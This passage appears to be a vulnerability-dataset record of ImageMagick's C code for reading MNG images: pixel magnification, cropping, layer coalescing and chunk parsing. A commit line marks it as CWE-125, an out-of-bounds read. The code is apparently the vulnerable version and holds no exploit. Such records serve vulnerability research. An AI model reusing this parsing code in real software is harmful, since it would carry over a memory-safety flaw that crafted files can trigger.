return(DestroyImageList(image)); large_image=SyncNextImageInList(image); large_image->columns=magnified_width; large_image->rows=magnified_height; magn_methx=mng_info->magn_methx; magn_methy=mng_info->magn_methy; #if (MAGICKCORE_QUANTUM_DEPTH > 16) #define QM unsigned short if (magn_methx != 1 || magn_methy != 1) { /* Scale pixels to unsigned shorts to prevent overflow of intermediate values of interpolations */ for (y=0; y < (ssize_t) image->rows; y++) { q=GetAuthenticPixels(image,0,y,image->columns,1, exception); for (x=(ssize_t) image->columns-1; x >= 0; x--) { SetPixelRed(q,ScaleQuantumToShort( GetPixelRed(q))); SetPixelGreen(q,ScaleQuantumToShort( GetPixelGreen(q))); SetPixelBlue(q,ScaleQuantumToShort( GetPixelBlue(q))); SetPixelOpacity(q,ScaleQuantumToShort( GetPixelOpacity(q))); q++; } if (SyncAuthenticPixels(image,exception) == MagickFalse) break; } } #else #define QM Quantum #endif if (image->matte != MagickFalse) (void) SetImageBackgroundColor(large_image); else { large_image->background_color.opacity=OpaqueOpacity; (void) SetImageBackgroundColor(large_image); if (magn_methx == 4) magn_methx=2; if (magn_methx == 5) magn_methx=3; if (magn_methy == 4) magn_methy=2; if (magn_methy == 5) magn_methy=3; } /* magnify the rows into the right side of the large image */ if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Magnify the rows to %.20g",(double) large_image->rows); m=(ssize_t) mng_info->magn_mt; yy=0; length=(size_t) image->columns; next=(PixelPacket *) AcquireQuantumMemory(length,sizeof(*next)); prev=(PixelPacket *) AcquireQuantumMemory(length,sizeof(*prev)); if ((prev == (PixelPacket *) NULL) || (next == (PixelPacket *) NULL)) { image=DestroyImageList(image); ThrowReaderException(ResourceLimitError, "MemoryAllocationFailed"); } n=GetAuthenticPixels(image,0,0,image->columns,1,exception); (void) CopyMagickMemory(next,n,length); for (y=0; y < (ssize_t) image->rows; y++) { if (y == 0) m=(ssize_t) mng_info->magn_mt; else if (magn_methy > 1 && y == (ssize_t) image->rows-2) m=(ssize_t) mng_info->magn_mb; else if (magn_methy <= 1 && y == (ssize_t) image->rows-1) m=(ssize_t) mng_info->magn_mb; else if (magn_methy > 1 && y == (ssize_t) image->rows-1) m=1; else m=(ssize_t) mng_info->magn_my; n=prev; prev=next; next=n; if (y < (ssize_t) image->rows-1) { n=GetAuthenticPixels(image,0,y+1,image->columns,1, exception); (void) CopyMagickMemory(next,n,length); } for (i=0; i < m; i++, yy++) { register PixelPacket *pixels; assert(yy < (ssize_t) large_image->rows); pixels=prev; n=next; q=GetAuthenticPixels(large_image,0,yy,large_image->columns, 1,exception); q+=(large_image->columns-image->columns); for (x=(ssize_t) image->columns-1; x >= 0; x--) { /* To do: get color as function of indexes[x] */ /* if (image->storage_class == PseudoClass) { } */ if (magn_methy <= 1) { /* replicate previous */ SetPixelRGBO(q,(pixels)); } else if (magn_methy == 2 || magn_methy == 4) { if (i == 0) { SetPixelRGBO(q,(pixels)); } else { /* Interpolate */ SetPixelRed(q, ((QM) (((ssize_t) (2*i*(GetPixelRed(n) -GetPixelRed(pixels)+m))/ ((ssize_t) (m*2)) +GetPixelRed(pixels))))); SetPixelGreen(q, ((QM) (((ssize_t) (2*i*(GetPixelGreen(n) -GetPixelGreen(pixels)+m))/ ((ssize_t) (m*2)) +GetPixelGreen(pixels))))); SetPixelBlue(q, ((QM) (((ssize_t) (2*i*(GetPixelBlue(n) -GetPixelBlue(pixels)+m))/ ((ssize_t) (m*2)) +GetPixelBlue(pixels))))); if (image->matte != MagickFalse) SetPixelOpacity(q, ((QM) (((ssize_t) (2*i*(GetPixelOpacity(n) -GetPixelOpacity(pixels)+m)) /((ssize_t) (m*2))+ GetPixelOpacity(pixels))))); } if (magn_methy == 4) { /* Replicate nearest */ if (i <= ((m+1) << 1)) SetPixelOpacity(q, (*pixels).opacity+0); else SetPixelOpacity(q, (*n).opacity+0); } } else /* if (magn_methy == 3 || magn_methy == 5) */ { /* Replicate nearest */ if (i <= ((m+1) << 1)) { SetPixelRGBO(q,(pixels)); } else { SetPixelRGBO(q,(n)); } if (magn_methy == 5) { SetPixelOpacity(q, (QM) (((ssize_t) (2*i* (GetPixelOpacity(n) -GetPixelOpacity(pixels)) +m))/((ssize_t) (m*2)) +GetPixelOpacity(pixels))); } } n++; q++; pixels++; } /* x */ if (SyncAuthenticPixels(large_image,exception) == 0) break; } /* i */ } /* y */ prev=(PixelPacket *) RelinquishMagickMemory(prev); next=(PixelPacket *) RelinquishMagickMemory(next); length=image->columns; if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Delete original image"); DeleteImageFromList(&image); image=large_image; mng_info->image=image; /* magnify the columns */ if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Magnify the columns to %.20g",(double) image->columns); for (y=0; y < (ssize_t) image->rows; y++) { register PixelPacket *pixels; q=GetAuthenticPixels(image,0,y,image->columns,1,exception); pixels=q+(image->columns-length); n=pixels+1; for (x=(ssize_t) (image->columns-length); x < (ssize_t) image->columns; x++) { /* To do: Rewrite using Get/Set***PixelComponent() */ if (x == (ssize_t) (image->columns-length)) m=(ssize_t) mng_info->magn_ml; else if (magn_methx > 1 && x == (ssize_t) image->columns-2) m=(ssize_t) mng_info->magn_mr; else if (magn_methx <= 1 && x == (ssize_t) image->columns-1) m=(ssize_t) mng_info->magn_mr; else if (magn_methx > 1 && x == (ssize_t) image->columns-1) m=1; else m=(ssize_t) mng_info->magn_mx; for (i=0; i < m; i++) { if (magn_methx <= 1) { /* replicate previous */ SetPixelRGBO(q,(pixels)); } else if (magn_methx == 2 || magn_methx == 4) { if (i == 0) { SetPixelRGBO(q,(pixels)); } /* To do: Rewrite using Get/Set***PixelComponent() */ else { /* Interpolate */ SetPixelRed(q, (QM) ((2*i*( GetPixelRed(n) -GetPixelRed(pixels))+m) /((ssize_t) (m*2))+ GetPixelRed(pixels))); SetPixelGreen(q, (QM) ((2*i*( GetPixelGreen(n) -GetPixelGreen(pixels))+m) /((ssize_t) (m*2))+ GetPixelGreen(pixels))); SetPixelBlue(q, (QM) ((2*i*( GetPixelBlue(n) -GetPixelBlue(pixels))+m) /((ssize_t) (m*2))+ GetPixelBlue(pixels))); if (image->matte != MagickFalse) SetPixelOpacity(q, (QM) ((2*i*( GetPixelOpacity(n) -GetPixelOpacity(pixels))+m) /((ssize_t) (m*2))+ GetPixelOpacity(pixels))); } if (magn_methx == 4) { /* Replicate nearest */ if (i <= ((m+1) << 1)) { SetPixelOpacity(q, GetPixelOpacity(pixels)+0); } else { SetPixelOpacity(q, GetPixelOpacity(n)+0); } } } else /* if (magn_methx == 3 || magn_methx == 5) */ { /* Replicate nearest */ if (i <= ((m+1) << 1)) { SetPixelRGBO(q,(pixels)); } else { SetPixelRGBO(q,(n)); } if (magn_methx == 5) { /* Interpolate */ SetPixelOpacity(q, (QM) ((2*i*( GetPixelOpacity(n) -GetPixelOpacity(pixels))+m)/ ((ssize_t) (m*2)) +GetPixelOpacity(pixels))); } } q++; } n++; } if (SyncAuthenticPixels(image,exception) == MagickFalse) break; } #if (MAGICKCORE_QUANTUM_DEPTH > 16) if (magn_methx != 1 || magn_methy != 1) { /* Rescale pixels to Quantum */ for (y=0; y < (ssize_t) image->rows; y++) { q=GetAuthenticPixels(image,0,y,image->columns,1,exception); for (x=(ssize_t) image->columns-1; x >= 0; x--) { SetPixelRed(q,ScaleShortToQuantum( GetPixelRed(q))); SetPixelGreen(q,ScaleShortToQuantum( GetPixelGreen(q))); SetPixelBlue(q,ScaleShortToQuantum( GetPixelBlue(q))); SetPixelOpacity(q,ScaleShortToQuantum( GetPixelOpacity(q))); q++; } if (SyncAuthenticPixels(image,exception) == MagickFalse) break; } } #endif if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Finished MAGN processing"); } } /* Crop_box is with respect to the upper left corner of the MNG. */ crop_box.left=mng_info->image_box.left+mng_info->x_off[object_id]; crop_box.right=mng_info->image_box.right+mng_info->x_off[object_id]; crop_box.top=mng_info->image_box.top+mng_info->y_off[object_id]; crop_box.bottom=mng_info->image_box.bottom+mng_info->y_off[object_id]; crop_box=mng_minimum_box(crop_box,mng_info->clip); crop_box=mng_minimum_box(crop_box,mng_info->frame); crop_box=mng_minimum_box(crop_box,mng_info->object_clip[object_id]); if ((crop_box.left != (mng_info->image_box.left +mng_info->x_off[object_id])) || (crop_box.right != (mng_info->image_box.right +mng_info->x_off[object_id])) || (crop_box.top != (mng_info->image_box.top +mng_info->y_off[object_id])) || (crop_box.bottom != (mng_info->image_box.bottom +mng_info->y_off[object_id]))) { if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Crop the PNG image"); if ((crop_box.left < crop_box.right) && (crop_box.top < crop_box.bottom)) { Image *im; RectangleInfo crop_info; /* Crop_info is with respect to the upper left corner of the image. */ crop_info.x=(crop_box.left-mng_info->x_off[object_id]); crop_info.y=(crop_box.top-mng_info->y_off[object_id]); crop_info.width=(size_t) (crop_box.right-crop_box.left); crop_info.height=(size_t) (crop_box.bottom-crop_box.top); image->page.width=image->columns; image->page.height=image->rows; image->page.x=0; image->page.y=0; im=CropImage(image,&crop_info,exception); if (im != (Image *) NULL) { image->columns=im->columns; image->rows=im->rows; im=DestroyImage(im); image->page.width=image->columns; image->page.height=image->rows; image->page.x=crop_box.left; image->page.y=crop_box.top; } } else { /* No pixels in crop area. The MNG spec still requires a layer, though, so make a single transparent pixel in the top left corner. */ image->columns=1; image->rows=1; image->colors=2; (void) SetImageBackgroundColor(image); image->page.width=1; image->page.height=1; image->page.x=0; image->page.y=0; } } #ifndef PNG_READ_EMPTY_PLTE_SUPPORTED image=mng_info->image; #endif } #if (MAGICKCORE_QUANTUM_DEPTH > 16) /* PNG does not handle depths greater than 16 so reduce it even * if lossy, and promote any depths > 8 to 16. */ if (image->depth > 16) image->depth=16; #endif #if (MAGICKCORE_QUANTUM_DEPTH > 8) if (image->depth > 8) { /* To do: fill low byte properly */ image->depth=16; } if (LosslessReduceDepthOK(image) != MagickFalse) image->depth = 8; #endif GetImageException(image,exception); if (image_info->number_scenes != 0) { if (mng_info->scenes_found > (ssize_t) (image_info->first_scene+image_info->number_scenes)) break; } if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Finished reading image datastream."); } while (LocaleCompare(image_info->magick,"MNG") == 0); (void) CloseBlob(image); if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Finished reading all image datastreams."); #if defined(MNG_INSERT_LAYERS) if (insert_layers && !mng_info->image_found && (mng_info->mng_width) && (mng_info->mng_height)) { /* Insert a background layer if nothing else was found. */ if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " No images found. Inserting a background layer."); if (GetAuthenticPixelQueue(image) != (PixelPacket *) NULL) { /* Allocate next image structure. */ AcquireNextImage(image_info,image); if (GetNextImageInList(image) == (Image *) NULL) { if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Allocation failed, returning NULL."); return(DestroyImageList(image)); } image=SyncNextImageInList(image); } image->columns=mng_info->mng_width; image->rows=mng_info->mng_height; image->page.width=mng_info->mng_width; image->page.height=mng_info->mng_height; image->page.x=0; image->page.y=0; image->background_color=mng_background_color; image->matte=MagickFalse; if (image_info->ping == MagickFalse) (void) SetImageBackgroundColor(image); mng_info->image_found++; } #endif image->iterations=mng_iterations; if (mng_iterations == 1) image->start_loop=MagickTrue; while (GetPreviousImageInList(image) != (Image *) NULL) { image_count++; if (image_count > 10*mng_info->image_found) { if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule()," No beginning"); (void) ThrowMagickException(&image->exception,GetMagickModule(), CoderError,"Linked list is corrupted, beginning of list not found", "`%s'",image_info->filename); return(DestroyImageList(image)); } image=GetPreviousImageInList(image); if (GetNextImageInList(image) == (Image *) NULL) { if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule()," Corrupt list"); (void) ThrowMagickException(&image->exception,GetMagickModule(), CoderError,"Linked list is corrupted; next_image is NULL","`%s'", image_info->filename); } } if (mng_info->ticks_per_second && mng_info->image_found > 1 && GetNextImageInList(image) == (Image *) NULL) { if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " First image null"); (void) ThrowMagickException(&image->exception,GetMagickModule(), CoderError,"image->next for first image is NULL but shouldn't be.", "`%s'",image_info->filename); } if (mng_info->image_found == 0) { if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " No visible images found."); (void) ThrowMagickException(&image->exception,GetMagickModule(), CoderError,"No visible images in file","`%s'",image_info->filename); return(DestroyImageList(image)); } if (mng_info->ticks_per_second) final_delay=1UL*MagickMax(image->ticks_per_second,1L)* final_delay/mng_info->ticks_per_second; else image->start_loop=MagickTrue; /* Find final nonzero image delay */ final_image_delay=0; while (GetNextImageInList(image) != (Image *) NULL) { if (image->delay) final_image_delay=image->delay; image=GetNextImageInList(image); } if (final_delay < final_image_delay) final_delay=final_image_delay; image->delay=final_delay; if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " image->delay=%.20g, final_delay=%.20g",(double) image->delay, (double) final_delay); if (logging != MagickFalse) { int scene; scene=0; image=GetFirstImageInList(image); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Before coalesce:"); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " scene 0 delay=%.20g",(double) image->delay); while (GetNextImageInList(image) != (Image *) NULL) { image=GetNextImageInList(image); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " scene %.20g delay=%.20g",(double) scene++,(double) image->delay); } } image=GetFirstImageInList(image); #ifdef MNG_COALESCE_LAYERS if (insert_layers) { Image *next_image, *next; size_t scene; if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule()," Coalesce Images"); scene=image->scene; next_image=CoalesceImages(image,&image->exception); if (next_image == (Image *) NULL) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); image=DestroyImageList(image); image=next_image; for (next=image; next != (Image *) NULL; next=next_image) { next->page.width=mng_info->mng_width; next->page.height=mng_info->mng_height; next->page.x=0; next->page.y=0; next->scene=scene++; next_image=GetNextImageInList(next); if (next_image == (Image *) NULL) break; if (next->delay == 0) { scene--; next_image->previous=GetPreviousImageInList(next); if (GetPreviousImageInList(next) == (Image *) NULL) image=next_image; else next->previous->next=next_image; next=DestroyImage(next); } } } #endif while (GetNextImageInList(image) != (Image *) NULL) image=GetNextImageInList(image); image->dispose=BackgroundDispose; if (logging != MagickFalse) { int scene; scene=0; image=GetFirstImageInList(image); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " After coalesce:"); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " scene 0 delay=%.20g dispose=%.20g",(double) image->delay, (double) image->dispose); while (GetNextImageInList(image) != (Image *) NULL) { image=GetNextImageInList(image); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " scene %.20g delay=%.20g dispose=%.20g",(double) scene++, (double) image->delay,(double) image->dispose); } } if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " exit ReadOneJNGImage();"); return(image); } Commit Message: https://github.com/ImageMagick/ImageMagick/issues/542 CWE ID: CWE-125
static Image *ReadOneMNGImage(MngInfo* mng_info, const ImageInfo *image_info, ExceptionInfo *exception) { char page_geometry[MaxTextExtent]; Image *image; MagickBooleanType logging; volatile int first_mng_object, object_id, term_chunk_found, skip_to_iend; volatile ssize_t image_count=0; MagickBooleanType status; MagickOffsetType offset; MngBox default_fb, fb, previous_fb; #if defined(MNG_INSERT_LAYERS) PixelPacket mng_background_color; #endif register unsigned char *p; register ssize_t i; size_t count; ssize_t loop_level; volatile short skipping_loop; #if defined(MNG_INSERT_LAYERS) unsigned int mandatory_back=0; #endif volatile unsigned int #ifdef MNG_OBJECT_BUFFERS mng_background_object=0, #endif mng_type=0; /* 0: PNG or JNG; 1: MNG; 2: MNG-LC; 3: MNG-VLC */ size_t default_frame_timeout, frame_timeout, #if defined(MNG_INSERT_LAYERS) image_height, image_width, #endif length; /* These delays are all measured in image ticks_per_second, * not in MNG ticks_per_second */ volatile size_t default_frame_delay, final_delay, final_image_delay, frame_delay, #if defined(MNG_INSERT_LAYERS) insert_layers, #endif mng_iterations=1, simplicity=0, subframe_height=0, subframe_width=0; previous_fb.top=0; previous_fb.bottom=0; previous_fb.left=0; previous_fb.right=0; default_fb.top=0; default_fb.bottom=0; default_fb.left=0; default_fb.right=0; logging=LogMagickEvent(CoderEvent,GetMagickModule(), " Enter ReadOneMNGImage()"); image=mng_info->image; if (LocaleCompare(image_info->magick,"MNG") == 0) { char magic_number[MaxTextExtent]; /* Verify MNG signature. */ count=(size_t) ReadBlob(image,8,(unsigned char *) magic_number); if (memcmp(magic_number,"\212MNG\r\n\032\n",8) != 0) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); /* Initialize some nonzero members of the MngInfo structure. */ for (i=0; i < MNG_MAX_OBJECTS; i++) { mng_info->object_clip[i].right=(ssize_t) PNG_UINT_31_MAX; mng_info->object_clip[i].bottom=(ssize_t) PNG_UINT_31_MAX; } mng_info->exists[0]=MagickTrue; } skipping_loop=(-1); first_mng_object=MagickTrue; mng_type=0; #if defined(MNG_INSERT_LAYERS) insert_layers=MagickFalse; /* should be False when converting or mogrifying */ #endif default_frame_delay=0; default_frame_timeout=0; frame_delay=0; final_delay=1; mng_info->ticks_per_second=1UL*image->ticks_per_second; object_id=0; skip_to_iend=MagickFalse; term_chunk_found=MagickFalse; mng_info->framing_mode=1; #if defined(MNG_INSERT_LAYERS) mandatory_back=MagickFalse; #endif #if defined(MNG_INSERT_LAYERS) mng_background_color=image->background_color; #endif default_fb=mng_info->frame; previous_fb=mng_info->frame; do { char type[MaxTextExtent]; if (LocaleCompare(image_info->magick,"MNG") == 0) { unsigned char *chunk; /* Read a new chunk. */ type[0]='\0'; (void) ConcatenateMagickString(type,"errr",MaxTextExtent); length=ReadBlobMSBLong(image); count=(size_t) ReadBlob(image,4,(unsigned char *) type); if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Reading MNG chunk type %c%c%c%c, length: %.20g", type[0],type[1],type[2],type[3],(double) length); if (length > PNG_UINT_31_MAX) { status=MagickFalse; break; } if (count == 0) ThrowReaderException(CorruptImageError,"CorruptImage"); p=NULL; chunk=(unsigned char *) NULL; if (length != 0) { chunk=(unsigned char *) AcquireQuantumMemory(length+ MagickPathExtent,sizeof(*chunk)); if (chunk == (unsigned char *) NULL) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); for (i=0; i < (ssize_t) length; i++) { int c; c=ReadBlobByte(image); if (c == EOF) break; chunk[i]=(unsigned char) c; } p=chunk; } (void) ReadBlobMSBLong(image); /* read crc word */ #if !defined(JNG_SUPPORTED) if (memcmp(type,mng_JHDR,4) == 0) { skip_to_iend=MagickTrue; if (mng_info->jhdr_warning == 0) (void) ThrowMagickException(&image->exception,GetMagickModule(), CoderError,"JNGCompressNotSupported","`%s'",image->filename); mng_info->jhdr_warning++; } #endif if (memcmp(type,mng_DHDR,4) == 0) { skip_to_iend=MagickTrue; if (mng_info->dhdr_warning == 0) (void) ThrowMagickException(&image->exception,GetMagickModule(), CoderError,"DeltaPNGNotSupported","`%s'",image->filename); mng_info->dhdr_warning++; } if (memcmp(type,mng_MEND,4) == 0) break; if (skip_to_iend) { if (memcmp(type,mng_IEND,4) == 0) skip_to_iend=MagickFalse; if (length != 0) chunk=(unsigned char *) RelinquishMagickMemory(chunk); if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Skip to IEND."); continue; } if (memcmp(type,mng_MHDR,4) == 0) { if (length != 28) { chunk=(unsigned char *) RelinquishMagickMemory(chunk); ThrowReaderException(CorruptImageError,"CorruptImage"); } mng_info->mng_width=(size_t) ((p[0] << 24) | (p[1] << 16) | (p[2] << 8) | p[3]); mng_info->mng_height=(size_t) ((p[4] << 24) | (p[5] << 16) | (p[6] << 8) | p[7]); if (logging != MagickFalse) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " MNG width: %.20g",(double) mng_info->mng_width); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " MNG height: %.20g",(double) mng_info->mng_height); } p+=8; mng_info->ticks_per_second=(size_t) mng_get_long(p); if (mng_info->ticks_per_second == 0) default_frame_delay=0; else default_frame_delay=1UL*image->ticks_per_second/ mng_info->ticks_per_second; frame_delay=default_frame_delay; simplicity=0; /* Skip nominal layer count, frame count, and play time */ p+=16; simplicity=(size_t) mng_get_long(p); mng_type=1; /* Full MNG */ if ((simplicity != 0) && ((simplicity | 11) == 11)) mng_type=2; /* LC */ if ((simplicity != 0) && ((simplicity | 9) == 9)) mng_type=3; /* VLC */ #if defined(MNG_INSERT_LAYERS) if (mng_type != 3) insert_layers=MagickTrue; #endif if (GetAuthenticPixelQueue(image) != (PixelPacket *) NULL) { /* Allocate next image structure. */ AcquireNextImage(image_info,image); if (GetNextImageInList(image) == (Image *) NULL) return(DestroyImageList(image)); image=SyncNextImageInList(image); mng_info->image=image; } if ((mng_info->mng_width > 65535L) || (mng_info->mng_height > 65535L)) { chunk=(unsigned char *) RelinquishMagickMemory(chunk); ThrowReaderException(ImageError,"WidthOrHeightExceedsLimit"); } (void) FormatLocaleString(page_geometry,MaxTextExtent, "%.20gx%.20g+0+0",(double) mng_info->mng_width,(double) mng_info->mng_height); mng_info->frame.left=0; mng_info->frame.right=(ssize_t) mng_info->mng_width; mng_info->frame.top=0; mng_info->frame.bottom=(ssize_t) mng_info->mng_height; mng_info->clip=default_fb=previous_fb=mng_info->frame; for (i=0; i < MNG_MAX_OBJECTS; i++) mng_info->object_clip[i]=mng_info->frame; chunk=(unsigned char *) RelinquishMagickMemory(chunk); continue; } if (memcmp(type,mng_TERM,4) == 0) { int repeat=0; if (length != 0) repeat=p[0]; if (repeat == 3 && length > 8) { final_delay=(png_uint_32) mng_get_long(&p[2]); mng_iterations=(png_uint_32) mng_get_long(&p[6]); if (mng_iterations == PNG_UINT_31_MAX) mng_iterations=0; image->iterations=mng_iterations; term_chunk_found=MagickTrue; } if (logging != MagickFalse) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " repeat=%d, final_delay=%.20g, iterations=%.20g", repeat,(double) final_delay, (double) image->iterations); } chunk=(unsigned char *) RelinquishMagickMemory(chunk); continue; } if (memcmp(type,mng_DEFI,4) == 0) { if (mng_type == 3) (void) ThrowMagickException(&image->exception,GetMagickModule(), CoderError,"DEFI chunk found in MNG-VLC datastream","`%s'", image->filename); if (length > 1) { object_id=(p[0] << 8) | p[1]; if (mng_type == 2 && object_id != 0) (void) ThrowMagickException(&image->exception, GetMagickModule(), CoderError,"Nonzero object_id in MNG-LC datastream", "`%s'", image->filename); if (object_id > MNG_MAX_OBJECTS) { /* Instead of using a warning we should allocate a larger MngInfo structure and continue. */ (void) ThrowMagickException(&image->exception, GetMagickModule(), CoderError, "object id too large","`%s'",image->filename); object_id=MNG_MAX_OBJECTS; } if (mng_info->exists[object_id]) if (mng_info->frozen[object_id]) { chunk=(unsigned char *) RelinquishMagickMemory(chunk); (void) ThrowMagickException(&image->exception, GetMagickModule(),CoderError, "DEFI cannot redefine a frozen MNG object","`%s'", image->filename); continue; } mng_info->exists[object_id]=MagickTrue; if (length > 2) mng_info->invisible[object_id]=p[2]; /* Extract object offset info. */ if (length > 11) { mng_info->x_off[object_id]=(ssize_t) ((p[4] << 24) | (p[5] << 16) | (p[6] << 8) | p[7]); mng_info->y_off[object_id]=(ssize_t) ((p[8] << 24) | (p[9] << 16) | (p[10] << 8) | p[11]); if (logging != MagickFalse) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " x_off[%d]: %.20g, y_off[%d]: %.20g", object_id,(double) mng_info->x_off[object_id], object_id,(double) mng_info->y_off[object_id]); } } /* Extract object clipping info. */ if (length > 27) mng_info->object_clip[object_id]= mng_read_box(mng_info->frame,0, &p[12]); } chunk=(unsigned char *) RelinquishMagickMemory(chunk); continue; } if (memcmp(type,mng_bKGD,4) == 0) { mng_info->have_global_bkgd=MagickFalse; if (length > 5) { mng_info->mng_global_bkgd.red= ScaleShortToQuantum((unsigned short) ((p[0] << 8) | p[1])); mng_info->mng_global_bkgd.green= ScaleShortToQuantum((unsigned short) ((p[2] << 8) | p[3])); mng_info->mng_global_bkgd.blue= ScaleShortToQuantum((unsigned short) ((p[4] << 8) | p[5])); mng_info->have_global_bkgd=MagickTrue; } chunk=(unsigned char *) RelinquishMagickMemory(chunk); continue; } if (memcmp(type,mng_BACK,4) == 0) { #if defined(MNG_INSERT_LAYERS) if (length > 6) mandatory_back=p[6]; else mandatory_back=0; if (mandatory_back && length > 5) { mng_background_color.red= ScaleShortToQuantum((unsigned short) ((p[0] << 8) | p[1])); mng_background_color.green= ScaleShortToQuantum((unsigned short) ((p[2] << 8) | p[3])); mng_background_color.blue= ScaleShortToQuantum((unsigned short) ((p[4] << 8) | p[5])); mng_background_color.opacity=OpaqueOpacity; } #ifdef MNG_OBJECT_BUFFERS if (length > 8) mng_background_object=(p[7] << 8) | p[8]; #endif #endif chunk=(unsigned char *) RelinquishMagickMemory(chunk); continue; } if (memcmp(type,mng_PLTE,4) == 0) { /* Read global PLTE. */ if (length && (length < 769)) { if (mng_info->global_plte == (png_colorp) NULL) mng_info->global_plte=(png_colorp) AcquireQuantumMemory(256, sizeof(*mng_info->global_plte)); for (i=0; i < (ssize_t) (length/3); i++) { mng_info->global_plte[i].red=p[3*i]; mng_info->global_plte[i].green=p[3*i+1]; mng_info->global_plte[i].blue=p[3*i+2]; } mng_info->global_plte_length=(unsigned int) (length/3); } #ifdef MNG_LOOSE for ( ; i < 256; i++) { mng_info->global_plte[i].red=i; mng_info->global_plte[i].green=i; mng_info->global_plte[i].blue=i; } if (length != 0) mng_info->global_plte_length=256; #endif else mng_info->global_plte_length=0; chunk=(unsigned char *) RelinquishMagickMemory(chunk); continue; } if (memcmp(type,mng_tRNS,4) == 0) { /* read global tRNS */ if (length > 0 && length < 257) for (i=0; i < (ssize_t) length; i++) mng_info->global_trns[i]=p[i]; #ifdef MNG_LOOSE for ( ; i < 256; i++) mng_info->global_trns[i]=255; #endif mng_info->global_trns_length=(unsigned int) length; chunk=(unsigned char *) RelinquishMagickMemory(chunk); continue; } if (memcmp(type,mng_gAMA,4) == 0) { if (length == 4) { ssize_t igamma; igamma=mng_get_long(p); mng_info->global_gamma=((float) igamma)*0.00001; mng_info->have_global_gama=MagickTrue; } else mng_info->have_global_gama=MagickFalse; chunk=(unsigned char *) RelinquishMagickMemory(chunk); continue; } if (memcmp(type,mng_cHRM,4) == 0) { /* Read global cHRM */ if (length == 32) { mng_info->global_chrm.white_point.x=0.00001*mng_get_long(p); mng_info->global_chrm.white_point.y=0.00001*mng_get_long(&p[4]); mng_info->global_chrm.red_primary.x=0.00001*mng_get_long(&p[8]); mng_info->global_chrm.red_primary.y=0.00001* mng_get_long(&p[12]); mng_info->global_chrm.green_primary.x=0.00001* mng_get_long(&p[16]); mng_info->global_chrm.green_primary.y=0.00001* mng_get_long(&p[20]); mng_info->global_chrm.blue_primary.x=0.00001* mng_get_long(&p[24]); mng_info->global_chrm.blue_primary.y=0.00001* mng_get_long(&p[28]); mng_info->have_global_chrm=MagickTrue; } else mng_info->have_global_chrm=MagickFalse; chunk=(unsigned char *) RelinquishMagickMemory(chunk); continue; } if (memcmp(type,mng_sRGB,4) == 0) { /* Read global sRGB. */ if (length != 0) { mng_info->global_srgb_intent= Magick_RenderingIntent_from_PNG_RenderingIntent(p[0]); mng_info->have_global_srgb=MagickTrue; } else mng_info->have_global_srgb=MagickFalse; chunk=(unsigned char *) RelinquishMagickMemory(chunk); continue; } if (memcmp(type,mng_iCCP,4) == 0) { /* To do: */ /* Read global iCCP. */ if (length != 0) chunk=(unsigned char *) RelinquishMagickMemory(chunk); continue; } if (memcmp(type,mng_FRAM,4) == 0) { if (mng_type == 3) (void) ThrowMagickException(&image->exception,GetMagickModule(), CoderError,"FRAM chunk found in MNG-VLC datastream","`%s'", image->filename); if ((mng_info->framing_mode == 2) || (mng_info->framing_mode == 4)) image->delay=frame_delay; frame_delay=default_frame_delay; frame_timeout=default_frame_timeout; fb=default_fb; if (length > 0) if (p[0]) mng_info->framing_mode=p[0]; if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Framing_mode=%d",mng_info->framing_mode); if (length > 6) { /* Note the delay and frame clipping boundaries. */ p++; /* framing mode */ while (*p && ((p-chunk) < (ssize_t) length)) p++; /* frame name */ p++; /* frame name terminator */ if ((p-chunk) < (ssize_t) (length-4)) { int change_delay, change_timeout, change_clipping; change_delay=(*p++); change_timeout=(*p++); change_clipping=(*p++); p++; /* change_sync */ if (change_delay && (p-chunk) < (ssize_t) (length-4)) { frame_delay=1UL*image->ticks_per_second* mng_get_long(p); if (mng_info->ticks_per_second != 0) frame_delay/=mng_info->ticks_per_second; else frame_delay=PNG_UINT_31_MAX; if (change_delay == 2) default_frame_delay=frame_delay; p+=4; if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Framing_delay=%.20g",(double) frame_delay); } if (change_timeout && (p-chunk) < (ssize_t) (length-4)) { frame_timeout=1UL*image->ticks_per_second* mng_get_long(p); if (mng_info->ticks_per_second != 0) frame_timeout/=mng_info->ticks_per_second; else frame_timeout=PNG_UINT_31_MAX; if (change_timeout == 2) default_frame_timeout=frame_timeout; p+=4; if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Framing_timeout=%.20g",(double) 